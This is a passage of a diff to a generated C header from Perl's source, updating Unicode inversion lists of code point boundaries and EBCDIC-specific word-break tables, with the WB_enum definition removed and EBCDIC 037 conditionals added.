 	0xC3D,
-	0xC3E,
 	0xC45,
 	0xC46,
 	0xC49,
@@ -82317,12 +341456,10 @@
 	0xC58,
 	0xC5B,
 	0xC60,
-	0xC62,
 	0xC64,
 	0xC66,
 	0xC70,
 	0xC80,
-	0xC81,
 	0xC84,
 	0xC85,
 	0xC8D,
@@ -82335,8 +341472,6 @@
 	0xCB5,
 	0xCBA,
 	0xCBC,
-	0xCBD,
-	0xCBE,
 	0xCC5,
 	0xCC6,
 	0xCC9,
@@ -82347,13 +341482,12 @@
 	0xCDE,
 	0xCDF,
 	0xCE0,
-	0xCE2,
 	0xCE4,
 	0xCE6,
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -82360,20 +341494,14 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
-	0xD3E,
 	0xD45,
 	0xD46,
 	0xD49,
 	0xD4A,
-	0xD4E,
 	0xD4F,
 	0xD54,
-	0xD57,
 	0xD58,
 	0xD5F,
-	0xD62,
 	0xD64,
 	0xD66,
 	0xD70,
@@ -82403,24 +341531,48 @@
 	0xDF0,
 	0xDF2,
 	0xDF4,
-	0xE31,
-	0xE32,
-	0xE34,
+	0xE01,
 	0xE3B,
-	0xE47,
+	0xE40,
 	0xE4F,
 	0xE50,
 	0xE5A,
-	0xEB1,
-	0xEB2,
-	0xEB4,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
 	0xEBA,
 	0xEBB,
-	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
 	0xEC8,
 	0xECE,
 	0xED0,
 	0xEDA,
+	0xEDC,
+	0xEE0,
 	0xF00,
 	0xF01,
 	0xF18,
@@ -82432,9 +341584,6 @@
 	0xF37,
 	0xF38,
 	0xF39,
-	0xF3A,
-	0xF3E,
-	0xF40,
 	0xF48,
 	0xF49,
 	0xF6D,
@@ -82441,32 +341590,14 @@
 	0xF71,
 	0xF85,
 	0xF86,
-	0xF88,
-	0xF8D,
 	0xF98,
 	0xF99,
 	0xFBD,
 	0xFC6,
 	0xFC7,
-	0x102B,
-	0x103F,
-	0x1040,
-	0x104A,
-	0x1056,
-	0x105A,
-	0x105E,
-	0x1061,
-	0x1062,
-	0x1065,
-	0x1067,
-	0x106E,
-	0x1071,
-	0x1075,
-	0x1082,
-	0x108E,
-	0x108F,
-	0x1090,
-	0x109A,
+	0x1000,
+	0x104C,
+	0x1050,
 	0x109E,
 	0x10A0,
 	0x10C6,
@@ -82510,6 +341641,10 @@
 	0x135B,
 	0x135D,
 	0x1360,
+	0x1362,
+	0x1363,
+	0x1367,
+	0x1369,
 	0x1380,
 	0x1390,
 	0x13A0,
@@ -82518,10 +341653,8 @@
 	0x13FE,
 	0x1401,
 	0x166D,
-	0x166F,
-	0x1680,
-	0x1681,
-	0x169B,
+	0x166E,
+	0x169D,
 	0x16A0,
 	0x16EB,
 	0x16EE,
@@ -82529,13 +341662,10 @@
 	0x1700,
 	0x170D,
 	0x170E,
-	0x1712,
 	0x1715,
 	0x1720,
-	0x1732,
-	0x1735,
+	0x1737,
 	0x1740,
-	0x1752,
 	0x1754,
 	0x1760,
 	0x176D,
@@ -82543,14 +341673,19 @@
 	0x1771,
 	0x1772,
 	0x1774,
-	0x17B4,
+	0x1780,
 	0x17D4,
-	0x17DD,
+	0x17D7,
+	0x17D8,
+	0x17DC,
 	0x17DE,
 	0x17E0,
 	0x17EA,
+	0x1802,
+	0x1804,
+	0x1808,
+	0x180A,
 	0x180B,
-	0x180E,
 	0x180F,
 	0x1810,
 	0x181A,
@@ -82557,10 +341692,6 @@
 	0x1820,
 	0x1878,
 	0x1880,
-	0x1885,
-	0x1887,
-	0x18A9,
-	0x18AA,
 	0x18AB,
 	0x18B0,
 	0x18F6,
@@ -82570,68 +341701,55 @@
 	0x192C,
 	0x1930,
 	0x193C,
-	0x1946,
-	0x1950,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
 	0x19D0,
 	0x19DA,
 	0x1A00,
-	0x1A17,
 	0x1A1C,
-	0x1A55,
+	0x1A20,
 	0x1A5F,
 	0x1A60,
 	0x1A7D,
 	0x1A7F,
-	0x1A80,
 	0x1A8A,
 	0x1A90,
 	0x1A9A,
+	0x1AA7,
+	0x1AAC,
 	0x1AB0,
 	0x1ABF,
 	0x1B00,
-	0x1B05,
-	0x1B34,
-	0x1B45,
 	0x1B4C,
 	0x1B50,
-	0x1B5A,
+	0x1B5C,
+	0x1B5E,
+	0x1B60,
 	0x1B6B,
 	0x1B74,
 	0x1B80,
-	0x1B83,
-	0x1BA1,
-	0x1BAE,
-	0x1BB0,
-	0x1BBA,
-	0x1BE6,
 	0x1BF4,
 	0x1C00,
-	0x1C24,
 	0x1C38,
+	0x1C3B,
+	0x1C3D,
 	0x1C40,
 	0x1C4A,
 	0x1C4D,
-	0x1C50,
-	0x1C5A,
-	0x1C7E,
-	0x1C80,
 	0x1C89,
 	0x1CD0,
 	0x1CD3,
 	0x1CD4,
-	0x1CE9,
-	0x1CED,
-	0x1CEE,
-	0x1CF2,
-	0x1CF5,
-	0x1CF7,
-	0x1CF8,
 	0x1CFA,
 	0x1D00,
-	0x1DC0,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
-	0x1E00,
 	0x1F16,
 	0x1F18,
 	0x1F1E,
@@ -82670,35 +341788,31 @@
 	0x1FF6,
 	0x1FFD,
 	0x2000,
-	0x200B,
-	0x200C,
-	0x200D,
-	0x200E,
 	0x2010,
+	0x2013,
+	0x2015,
 	0x2018,
-	0x201A,
+	0x2020,
 	0x2024,
 	0x2025,
-	0x2027,
 	0x2028,
-	0x202A,
-	0x202F,
 	0x2030,
-	0x203F,
-	0x2041,
-	0x2044,
+	0x2039,
+	0x203B,
+	0x203C,
+	0x203E,
 	0x2045,
-	0x2054,
-	0x2055,
+	0x204A,
 	0x205F,
-	0x2060,
 	0x2065,
 	0x2066,
 	0x2070,
 	0x2071,
 	0x2072,
-	0x207F,
+	0x207D,
 	0x2080,
+	0x208D,
+	0x208F,
 	0x2090,
 	0x209D,
 	0x20D0,
@@ -82731,16 +341845,26 @@
 	0x214F,
 	0x2160,
 	0x2189,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
 	0x24B6,
 	0x24EA,
-	0x261D,
-	0x261E,
-	0x26F9,
-	0x26FA,
-	0x270A,
-	0x270E,
-	0x2764,
-	0x2765,
+	0x275B,
+	0x2761,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
 	0x2C00,
 	0x2C2F,
 	0x2C30,
@@ -82748,8 +341872,6 @@
 	0x2C60,
 	0x2CE5,
 	0x2CEB,
-	0x2CEF,
-	0x2CF2,
 	0x2CF4,
 	0x2D00,
 	0x2D26,
@@ -82762,7 +341884,6 @@
 	0x2D6F,
 	0x2D70,
 	0x2D7F,
-	0x2D80,
 	0x2D97,
 	0x2DA0,
 	0x2DA7,
@@ -82781,28 +341902,43 @@
 	0x2DD8,
 	0x2DDF,
 	0x2DE0,
-	0x2E00,
-	0x2E2F,
+	0x2E0E,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2A,
+	0x2E2E,
 	0x2E30,
+	0x2E3C,
+	0x2E3D,
+	0x2E42,
+	0x2E43,
 	0x3000,
-	0x3001,
+	0x3003,
 	0x3005,
-	0x3006,
-	0x302A,
+	0x3012,
+	0x3014,
+	0x301C,
+	0x301D,
+	0x3020,
+	0x3021,
 	0x3030,
 	0x3031,
 	0x3036,
-	0x303B,
+	0x3038,
 	0x303D,
+	0x3041,
+	0x3097,
 	0x3099,
 	0x309B,
 	0x309D,
 	0x30A0,
+	0x30A1,
 	0x30FB,
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -82809,30 +341945,28 @@
 	0x31BB,
 	0x31F0,
 	0x3200,
-	0x32D0,
-	0x32FF,
-	0x3300,
-	0x3358,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
 	0xA4FE,
-	0xA500,
+	0xA4FF,
 	0xA60D,
-	0xA610,
-	0xA620,
-	0xA62A,
+	0xA60E,
 	0xA62C,
 	0xA640,
-	0xA66F,
 	0xA673,
 	0xA674,
 	0xA67E,
 	0xA67F,
-	0xA69E,
-	0xA6A0,
-	0xA6F0,
 	0xA6F2,
+	0xA6F3,
+	0xA6F4,
+	0xA6F7,
+	0xA6F8,
 	0xA717,
 	0xA720,
 	0xA722,
@@ -82842,24 +341976,16 @@
 	0xA7B0,
 	0xA7B8,
 	0xA7F7,
-	0xA802,
-	0xA803,
-	0xA806,
-	0xA807,
-	0xA80B,
-	0xA80C,
-	0xA823,
 	0xA828,
 	0xA840,
 	0xA874,
+	0xA876,
+	0xA878,
 	0xA880,
-	0xA882,
-	0xA8B4,
 	0xA8C6,
-	0xA8D0,
+	0xA8CE,
 	0xA8DA,
 	0xA8E0,
-	0xA8F2,
 	0xA8F8,
 	0xA8FB,
 	0xA8FC,
@@ -82866,52 +341992,32 @@
 	0xA8FD,
 	0xA8FE,
 	0xA900,
-	0xA90A,
-	0xA926,
 	0xA92E,
-	0xA930,
-	0xA947,
+	0xA92F,
 	0xA954,
 	0xA960,
 	0xA97D,
 	0xA980,
-	0xA984,
-	0xA9B3,
 	0xA9C1,
+	0xA9C8,
+	0xA9CA,
 	0xA9CF,
-	0xA9D0,
 	0xA9DA,
-	0xA9E5,
-	0xA9E6,
-	0xA9F0,
-	0xA9FA,
+	0xA9E0,
+	0xA9FF,
 	0xAA00,
-	0xAA29,
 	0xAA37,
 	0xAA40,
-	0xAA43,
-	0xAA44,
-	0xAA4C,
 	0xAA4E,
 	0xAA50,
 	0xAA5A,
-	0xAA7B,
-	0xAA7E,
-	0xAAB0,
-	0xAAB1,
-	0xAAB2,
-	0xAAB5,
-	0xAAB7,
-	0xAAB9,
-	0xAABE,
-	0xAAC0,
-	0xAAC1,
-	0xAAC2,
+	0xAA5D,
+	0xAA77,
+	0xAA7A,
+	0xAAC3,
+	0xAADB,
+	0xAADE,
 	0xAAE0,
-	0xAAEB,
-	0xAAF0,
-	0xAAF2,
-	0xAAF5,
 	0xAAF7,
 	0xAB01,
 	0xAB07,
@@ -82928,9 +342034,6 @@
 	0xAB5C,
 	0xAB66,
 	0xAB70,
-	0xABE3,
-	0xABEB,
-	0xABEC,
 	0xABEE,
 	0xABF0,
 	0xABFA,
@@ -82940,13 +342043,15 @@
 	0xD7C7,
 	0xD7CB,
 	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
 	0xFB00,
 	0xFB07,
 	0xFB13,
 	0xFB18,
 	0xFB1D,
-	0xFB1E,
-	0xFB1F,
 	0xFB29,
 	0xFB2A,
 	0xFB37,
@@ -82959,10 +342064,9 @@
 	0xFB43,
 	0xFB45,
 	0xFB46,
-	0xFB50,
 	0xFBB2,
 	0xFBD3,
-	0xFD3E,
+	0xFD40,
 	0xFD50,
 	0xFD90,
 	0xFD92,
@@ -82970,23 +342074,25 @@
 	0xFDF0,
 	0xFDFC,
 	0xFE00,
-	0xFE10,
-	0xFE11,
+	0xFE12,
 	0xFE13,
 	0xFE14,
-	0xFE15,
+	0xFE17,
+	0xFE19,
 	0xFE20,
 	0xFE30,
+	0xFE31,
 	0xFE33,
 	0xFE35,
-	0xFE4D,
+	0xFE45,
+	0xFE47,
+	0xFE49,
 	0xFE50,
-	0xFE51,
-	0xFE52,
 	0xFE53,
-	0xFE54,
 	0xFE55,
-	0xFE56,
+	0xFE5F,
+	0xFE63,
+	0xFE64,
 	0xFE70,
 	0xFE75,
 	0xFE76,
@@ -82993,24 +342099,27 @@
 	0xFEFD,
 	0xFEFF,
 	0xFF00,
-	0xFF07,
+	0xFF01,
+	0xFF02,
 	0xFF08,
+	0xFF0A,
 	0xFF0C,
-	0xFF0D,
-	0xFF0E,
 	0xFF0F,
 	0xFF1A,
 	0xFF1B,
-	0xFF1C,
+	0xFF1F,
+	0xFF20,
 	0xFF21,
-	0xFF3B,
-	0xFF3F,
-	0xFF40,
+	0xFF3C,
+	0xFF3D,
+	0xFF3E,
 	0xFF41,
-	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF65,
 	0xFF66,
-	0xFF9E,
-	0xFFA0,
 	0xFFBF,
 	0xFFC2,
 	0xFFC8,
@@ -83048,10 +342157,9 @@
 	0x102E1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
-	0x10376,
 	0x1037B,
 	0x10380,
 	0x1039E,
@@ -83108,12 +342216,10 @@
 	0x109BE,
 	0x109C0,
 	0x10A00,
-	0x10A01,
 	0x10A04,
 	0x10A05,
 	0x10A07,
 	0x10A0C,
-	0x10A10,
 	0x10A14,
 	0x10A15,
 	0x10A18,
@@ -83123,6 +342229,8 @@
 	0x10A3B,
 	0x10A3F,
 	0x10A40,
+	0x10A56,
+	0x10A58,
 	0x10A60,
 	0x10A7D,
 	0x10A80,
@@ -83130,7 +342238,6 @@
 	0x10AC0,
 	0x10AC8,
 	0x10AC9,
-	0x10AE5,
 	0x10AE7,
 	0x10B00,
 	0x10B36,
@@ -83147,49 +342254,43 @@
 	0x10CC0,
 	0x10CF3,
 	0x11000,
-	0x11003,
-	0x11038,
-	0x11047,
+	0x11049,
 	0x11066,
 	0x11070,
 	0x1107F,
-	0x11083,
-	0x110B0,
 	0x110BB,
 	0x110BD,
-	0x110BE,
+	0x110C2,
 	0x110D0,
 	0x110E9,
 	0x110F0,
 	0x110FA,
 	0x11100,
-	0x11103,
-	0x11127,
 	0x11135,
 	0x11136,
 	0x11140,
+	0x11141,
+	0x11144,
 	0x11150,
-	0x11173,
 	0x11174,
 	0x11176,
 	0x11177,
 	0x11180,
-	0x11183,
-	0x111B3,
-	0x111C1,
-	0x111C5,
+	0x111C7,
 	0x111CA,
-	0x111CD,
+	0x111CE,
 	0x111D0,
-	0x111DA,
 	0x111DB,
 	0x111DC,
 	0x111DD,
+	0x111DE,
+	0x111E0,
 	0x11200,
 	0x11212,
 	0x11213,
-	0x1122C,
-	0x11238,
+	0x1123A,
+	0x1123B,
+	0x1123D,
 	0x1123E,
 	0x1123F,
 	0x11280,
@@ -83201,9 +342302,8 @@
 	0x1128F,
 	0x1129E,
 	0x1129F,
-	0x112A9,
+	0x112AA,
 	0x112B0,
-	0x112DF,
 	0x112EB,
 	0x112F0,
 	0x112FA,
@@ -83222,8 +342322,6 @@
 	0x11335,
 	0x1133A,
 	0x1133C,
-	0x1133D,
-	0x1133E,
 	0x11345,
 	0x11347,
 	0x11349,
@@ -83234,7 +342332,6 @@
 	0x11357,
 	0x11358,
 	0x1135D,
-	0x11362,
 	0x11364,
 	0x11366,
 	0x1136D,
@@ -83241,14 +342338,10 @@
 	0x11370,
 	0x11375,
 	0x11400,
-	0x11435,
-	0x11447,
-	0x1144B,
+	0x1144D,
 	0x11450,
 	0x1145A,
 	0x11480,
-	0x114B0,
-	0x114C4,
 	0x114C6,
 	0x114C7,
 	0x114C8,
@@ -83255,44 +342348,55 @@
 	0x114D0,
 	0x114DA,
 	0x11580,
-	0x115AF,
 	0x115B6,
 	0x115B8,
 	0x115C1,
-	0x115D8,
-	0x115DC,
+	0x115C2,
+	0x115C4,
+	0x115C9,
 	0x115DE,
 	0x11600,
-	0x11630,
-	0x11641,
+	0x11643,
 	0x11644,
 	0x11645,
 	0x11650,
 	0x1165A,
 	0x11680,
-	0x116AB,
 	0x116B8,
 	0x116C0,
 	0x116CA,
+	0x11700,
+	0x1171A,
 	0x1171D,
 	0x1172C,
 	0x11730,
 	0x1173A,
+	0x1173C,
+	0x1173F,
 	0x118A0,
-	0x118E0,
 	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A42,
+	0x11A44,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
+	0x11A9B,
+	0x11A9D,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
 	0x11C09,
 	0x11C0A,
-	0x11C2F,
 	0x11C37,
 	0x11C38,
-	0x11C40,
-	0x11C41,
+	0x11C43,
 	0x11C50,
 	0x11C5A,
 	0x11C72,
@@ -83301,6 +342405,20 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -83317,15 +342435,16 @@
 	0x16A5F,
 	0x16A60,
 	0x16A6A,
+	0x16A6E,
+	0x16A70,
 	0x16AD0,
 	0x16AEE,
 	0x16AF0,
-	0x16AF5,
+	0x16AF6,
 	0x16B00,
-	0x16B30,
-	0x16B37,
+	0x16B39,
 	0x16B40,
-	0x16B44,
+	0x16B45,
 	0x16B50,
 	0x16B5A,
 	0x16B63,
@@ -83335,15 +342454,19 @@
 	0x16F00,
 	0x16F45,
 	0x16F50,
-	0x16F51,
 	0x16F7F,
 	0x16F8F,
-	0x16F93,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
 	0x1B000,
-	0x1B001,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -83353,14 +342476,10 @@
 	0x1BC90,
 	0x1BC9A,
 	0x1BC9D,
-	0x1BC9F,
-	0x1BCA0,
 	0x1BCA4,
 	0x1D165,
 	0x1D16A,
 	0x1D16D,
-	0x1D173,
-	0x1D17B,
 	0x1D183,
 	0x1D185,
 	0x1D18C,
@@ -83438,6 +342557,8 @@
 	0x1DA76,
 	0x1DA84,
 	0x1DA85,
+	0x1DA88,
+	0x1DA89,
 	0x1DA9B,
 	0x1DAA0,
 	0x1DAA1,
@@ -83457,7 +342578,6 @@
 	0x1E8D0,
 	0x1E8D7,
 	0x1E900,
-	0x1E944,
 	0x1E94B,
 	0x1E950,
 	0x1E95A,
@@ -83533,66 +342653,20 @@
 	0x1F16A,
 	0x1F170,
 	0x1F18A,
-	0x1F1E6,
-	0x1F200,
-	0x1F385,
-	0x1F386,
-	0x1F3C3,
-	0x1F3C5,
-	0x1F3CA,
-	0x1F3CC,
-	0x1F3FB,
-	0x1F400,
-	0x1F442,
-	0x1F444,
-	0x1F446,
-	0x1F451,
-	0x1F466,
-	0x1F46A,
-	0x1F46E,
-	0x1F46F,
-	0x1F470,
-	0x1F479,
-	0x1F47C,
-	0x1F47D,
-	0x1F481,
-	0x1F484,
-	0x1F485,
-	0x1F488,
-	0x1F48B,
-	0x1F48C,
-	0x1F4AA,
-	0x1F4AB,
-	0x1F575,
-	0x1F576,
-	0x1F57A,
-	0x1F57B,
-	0x1F590,
-	0x1F591,
-	0x1F595,
-	0x1F597,
-	0x1F5E8,
-	0x1F5E9,
-	0x1F645,
-	0x1F648,
-	0x1F64B,
-	0x1F650,
-	0x1F6A3,
-	0x1F6A4,
-	0x1F6B4,
-	0x1F6B7,
-	0x1F6C0,
-	0x1F6C1,
-	0x1F918,
-	0x1F91F,
-	0x1F926,
-	0x1F927,
-	0x1F930,
-	0x1F931,
-	0x1F933,
-	0x1F93A,
-	0x1F93C,
-	0x1F93F,
+	0x1F676,
+	0x1F679,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
 	0xE0001,
 	0xE0002,
 	0xE0020,
@@ -83601,1854 +342675,50 @@
 	0xE01F0
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+#   endif	/* EBCDIC 1047 */
 
-#if defined(PERL_IN_REGEXEC_C)
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
 
-#define WB_ENUM_COUNT 25
-
-typedef enum {
-	WB_Other = 0,
-	WB_ALetter = 1,
-	WB_CR = 2,
-	WB_Double_Quote = 3,
-	WB_E_Base = 4,
-	WB_E_Base_GAZ = 5,
-	WB_E_Modifier = 6,
-	WB_Extend = 7,
-	WB_ExtendNumLet = 8,
-	WB_Format = 9,
-	WB_Glue_After_Zwj = 10,
-	WB_Hebrew_Letter = 11,
-	WB_Katakana = 12,
-	WB_LF = 13,
-	WB_MidLetter = 14,
-	WB_MidNum = 15,
-	WB_MidNumLet = 16,
-	WB_Newline = 17,
-	WB_Numeric = 18,
-	WB_Perl_Tailored_HSpace = 19,
-	WB_Regional_Indicator = 20,
-	WB_Single_Quote = 21,
-	WB_ZWJ = 22,
-	WB_EDGE = 23,
-	WB_UNKNOWN = 24
-} WB_enum;
-
-static const WB_enum _Perl_WB_invmap[] = { /* for EBCDIC 037 */
-	WB_Other,
-	WB_Perl_Tailored_HSpace,
-	WB_Other,
-	WB_Newline,
-	WB_CR,
-	WB_Other,
-	WB_Newline,
-	WB_Other,
-	WB_LF,
-	WB_Other,
-	WB_Perl_Tailored_HSpace,
-	WB_ALetter,
-	WB_Other,
-	WB_MidNumLet,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_MidNum,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_MidNum,
-	WB_Other,
-	WB_ExtendNumLet,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_MidLetter,
-	WB_Other,
-	WB_Single_Quote,
-	WB_Other,
-	WB_Double_Quote,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_MidLetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Format,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_MidLetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_MidNum,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_MidLetter,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_MidNum,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_Other,
-	WB_Hebrew_Letter,
-	WB_ALetter,
-	WB_MidLetter,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_MidNum,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Format,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Numeric,
-	WB_Other,
-	WB_Numeric,
-	WB_MidNum,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Format,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Format,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_MidNum,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Format,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Numeric,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Numeric,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Other,
-	WB_ALetter,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
-	WB_Extend,
-	WB_Other,
